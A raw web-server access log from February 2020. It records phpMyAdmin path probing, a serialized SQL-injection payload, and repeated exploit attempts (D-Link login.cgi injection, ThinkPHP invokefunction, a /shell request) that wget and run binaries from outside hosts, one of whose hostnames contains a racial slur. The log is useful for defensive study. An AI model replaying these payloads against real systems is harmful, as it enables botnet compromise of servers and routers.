67.100.142.50 - - [08/Feb/2020:21:07:06 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
67.100.142.50 - - [08/Feb/2020:21:07:16 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
67.100.142.50 - - [08/Feb/2020:21:07:33 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
67.100.142.50 - - [08/Feb/2020:21:07:34 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:07:35 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:07:37 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:07:38 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:07:39 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:07:41 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:07:42 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:07:43 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:07:45 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:07:46 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
212.91.246.72 - - [08/Feb/2020:21:07:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
67.100.142.50 - - [08/Feb/2020:21:07:47 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:07:48 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:07:50 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:07:51 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:07:52 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:07:55 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:07:57 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:07:58 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:07:59 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:01 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:02 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:03 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:05 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:06 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:07 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:08 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:11 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:13 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:14 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:15 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:16 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:18 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:21 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:22 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
73.32.140.239 - - [08/Feb/2020:21:08:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
67.100.142.50 - - [08/Feb/2020:21:08:25 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:26 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:27 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:30 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:32 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:35 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:36 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:37 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:43 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
36.230.151.157 - - [08/Feb/2020:21:08:44 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
67.100.142.50 - - [08/Feb/2020:21:08:44 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:46 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
212.91.246.72 - - [08/Feb/2020:21:08:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
67.100.142.50 - - [08/Feb/2020:21:08:47 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:48 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:51 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:57 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:08:58 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:00 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:02 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:04 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:07 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:08 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:09 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:10 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:12 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:13 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:16 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:17 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:18 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:20 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:21 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:22 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:24 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:25 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:26 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:27 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:29 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:30 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:31 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:32 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:34 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:35 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:36 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:38 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:39 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:40 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:41 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:43 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:44 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:45 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
212.91.246.72 - - [08/Feb/2020:21:09:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
67.100.142.50 - - [08/Feb/2020:21:09:47 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:50 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:51 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:54 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:55 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:56 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:58 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:09:59 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:10:00 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:10:06 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:10:07 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:10:10 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:10:11 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:10:14 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:10:15 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:10:17 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
67.100.142.50 - - [08/Feb/2020:21:10:18 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
212.91.246.72 - - [08/Feb/2020:21:10:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:21:11:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:21:12:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:21:13:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:21:14:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.179.162 - - [08/Feb/2020:21:14:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
152.32.76.14 - - [08/Feb/2020:21:15:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:21:15:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:21:16:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.189.178 - - [08/Feb/2020:21:17:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:21:17:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.59.114.182 - - [08/Feb/2020:21:18:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:21:18:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.71.204 - - [08/Feb/2020:21:19:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
213.254.140.37 - - [08/Feb/2020:21:19:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:21:19:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
76.173.24.43 - - [08/Feb/2020:21:20:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
66.151.211.218 - - [08/Feb/2020:21:20:27 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:21:20:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.78.184 - - [08/Feb/2020:21:21:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:21:21:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:21:22:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:21:23:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:21:24:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:21:25:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:21:26:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.252.118.44 - - [08/Feb/2020:21:27:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:21:27:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:21:28:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:21:29:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.64.61 - - [08/Feb/2020:21:30:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:21:30:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:21:31:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [08/Feb/2020:21:31:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
